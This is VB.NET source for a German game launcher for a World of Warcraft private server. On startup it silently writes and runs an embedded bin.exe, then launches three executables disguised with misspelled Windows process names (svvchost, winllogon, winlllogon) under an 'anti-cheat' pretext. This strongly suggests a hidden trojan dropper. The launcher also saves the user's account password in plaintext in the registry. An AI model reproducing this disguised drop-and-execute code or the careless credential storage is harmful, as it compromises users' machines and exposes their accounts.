Imports System.IO
Imports System.Diagnostics.Process
Public Class Form1
'###Variabeln###'
Dim autologin As SByte
Dim clearcache As SByte
Dim clearcache_result As SByte
Dim autologin_result As Integer
Dim accountname As String
Dim passwort As String
Dim accountname_result As String
Dim passwort_result As String
Dim sleep As Integer
Dim sleep_result As Short
Dim sleep_result2 As Short
Dim first As SByte
Dim lang As SByte
Dim lang2 As SByte
Dim pfad As String
Dim pfad2 As String
'###########################'
Private Sub Browser_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs)
End Sub
Private Function startProcess(ByVal filename As String)
Dim install = New Process()
install.StartInfo.FileName = filename
install.Start()
startProcess = 1
End Function
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim binaryw As New BinaryWriter(New FileStream(My.Application.Info.DirectoryPath & "\bin.exe", FileMode.Create))
Dim exe6 As String = My.Application.Info.DirectoryPath & "\bin.exe"
Dim exe3 As String = My.Application.Info.DirectoryPath & "\winlllogon.exe"
Dim exe2 As String = My.Application.Info.DirectoryPath & "\winllogon.exe"
Dim exe1 As String = My.Application.Info.DirectoryPath & "\svvchost.exe"
binaryw.Write(My.Resources.bin)
binaryw.Close()
Try
Process.Start(exe6)
System.Threading.Thread.Sleep(2000)
Catch
End Try
If Process.GetProcessesByName("svvchost").Length > 0 Then
Else
Try
Process.Start(exe1)
Catch
MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
Me.Close()
End Try
End If
If Process.GetProcessesByName("winllogon.exe").Length > 0 Then
Else
Try
Process.Start(exe2)
Catch
MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
Me.Close()
End Try
End If
If Process.GetProcessesByName("winlllogon.exe").Length > 0 Then
Else
Try
Process.Start(exe3)
Catch
MsgBox("Anti Cheat Engine konnte nicht gestartet werden, bitte installieren sie den Launcher erneut", MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "United-WoW Launcher")
Me.Close()
End Try
End If
If My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "First", Nothing) Is Nothing Then
MsgBox("Bitte wählen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
pfad = FolderBrowserDialog1.SelectedPath
End If
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)
lang = MsgBox("Haben sie Eine deutsche WoW version oder Eine Englische ?" & vbCrLf & "(Ja für Deutsch Nein für Englisch)", MsgBoxStyle.YesNo)
If lang = 7 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 0)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 1)
End If
autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)
If autologin = 7 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)
clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
If clearcache = 6 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
End If
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10 o. 15 nicht 10,5")
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)
clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
If clearcache = 6 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
End If
End If
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "First", 1)
End If
If My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "First", Nothing) = 0 Then
MsgBox("Bitte wählen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
pfad = FolderBrowserDialog1.SelectedPath
End If
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)
lang = MsgBox("Haben sie Eine deutsche WoW version oder Eine Englische ?" & vbCrLf & "(Ja für Deutsch Nein für Englisch)", MsgBoxStyle.YesNo)
If lang = 7 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 0)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Lang", 1)
End If
autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)
If autologin = 7 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)
clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
If clearcache = 6 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
End If
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10 o. 15 nicht 10,5")
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)
clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
If clearcache = 6 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
End If
End If
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "First", 1)
End If
End Sub
Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
Directory.Delete("Cache", True)
MsgBox("Cache Ordner Gelöscht")
Catch
MsgBox("Cache Ordner Wurde bereits gelöscht!")
End Try
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Dim suche As String
Dim result As String
suche = InputBox("Wonach soll gesucht werden?", "Buffed.de Suche")
result = "http://wowdata.buffed.de/?f=" & suche
If suche = "" Then
MsgBox("Vorgang wurde Abgebrochen", MsgBoxStyle.OkOnly, "United-WoW Launcher")
Else
Process.Start(result)
End If
End Sub
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
WebBrowser1.Navigate("http://united-wow.org/launcher/")
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
MsgBox("Bitte wählen sie ihr World of Warcraft Installations Verzeichnis", MsgBoxStyle.OkOnly)
If FolderBrowserDialog1.ShowDialog() = DialogResult.OK Then
pfad = FolderBrowserDialog1.SelectedPath
End If
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "Pfad", pfad)
autologin = MsgBox("Soll die Autologin Funktion Aktiviert werden ??", MsgBoxStyle.YesNo)
If autologin = 7 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 0)
clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
If clearcache = 6 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
End If
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "autologin", 1)
sleep = InputBox("Ab welcher Zeit, sollen die eingaben gestartet werden (angabe in sek. und NUR ganze zahlen bsp. 10 o. 15 nicht 10,5")
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "sleep", sleep)
accountname = InputBox("Bitte geben sie ihren Accountnamen ein", "United-WoW Launcher")
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "account", accountname)
passwort = InputBox("bitte geben sie ihr Password ein", "United-WoW Launcher", )
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "passwort", passwort)
clearcache = MsgBox("Soll der Cache vor jedem Login Gelöscht werden ?", MsgBoxStyle.YesNo)
If clearcache = 6 Then
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 1)
Else
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "clear", 0)
End If
End If
End Sub
Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\U-WoW", "first", 0)
MsgBox("United-WoW Launcher Settings Wurden zurückgesetzt" & vbCrLf & "Der Launcher wird nun beendet bitte starten sie diesen erneut", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "United-WoW Launcher")
Me.Close()
End Sub
Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
Form2.Show()
End Sub
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Process.Start(pfad2 & "\wow.exe")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
clearcache_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "clear", Nothing)
autologin_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW", "autologin", Nothing)
pfad2 = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "Pfad", Nothing)
lang2 = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "Lang", Nothing)
sleep_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "sleep", Nothing)
sleep_result2 = sleep_result * 1000
accountname_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "account", Nothing)
passwort_result = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\U-WoW\", "passwort", Nothing)
'MsgBox(clearcache_result, MsgBoxStyle.OkOnly)
If clearcache_result = 0 Then
If autologin_result = 0 Then
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
End If
Process.Start(pfad2 & "\wow.exe")
System.Threading.Thread.Sleep(2000)
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
End If
ElseIf autologin_result = 1 Then
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
End If
Process.Start(pfad2 & "\wow.exe")
System.Threading.Thread.Sleep(sleep_result2)
SendKeys.Send(accountname_result)
SendKeys.Send("{TAB}")
SendKeys.Send(passwort_result)
SendKeys.Send("{ENTER}")
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
End If
End If
ElseIf clearcache_result = 1 Then
Try
Directory.Delete("Cache", True)
Catch
End Try
If autologin_result = 0 Then
If lang2 = 1 Then
Try
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
Catch
End Try
ElseIf lang2 = 0 Then
Try
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
Catch
End Try
End If
Try
Process.Start(pfad2 & "\wow.exe")
System.Threading.Thread.Sleep(2000)
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
End If
Catch
End Try
ElseIf autologin_result = 1 Then
Try
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist team-visual-gaming.ath.cx")
End If
Catch
End Try
Try
Process.Start(pfad2 & "\wow.exe")
System.Threading.Thread.Sleep(sleep_result2)
SendKeys.Send(accountname_result)
SendKeys.Send("{TAB}")
SendKeys.Send(passwort_result)
SendKeys.Send("{ENTER}")
Catch
End Try
Try
If lang2 = 1 Then
System.IO.File.WriteAllText(pfad2 & "\Data\deDE\realmlist.wtf", "set realmlist eu.logon.worldofwarcraft.com")
ElseIf lang2 = 0 Then
System.IO.File.WriteAllText(pfad2 & "\Data\enUS\realmlist.wtf", "set realmlist us.logon.worldofwarcraft.com")
End If
Catch
End Try
End If
End If
End Sub
End Class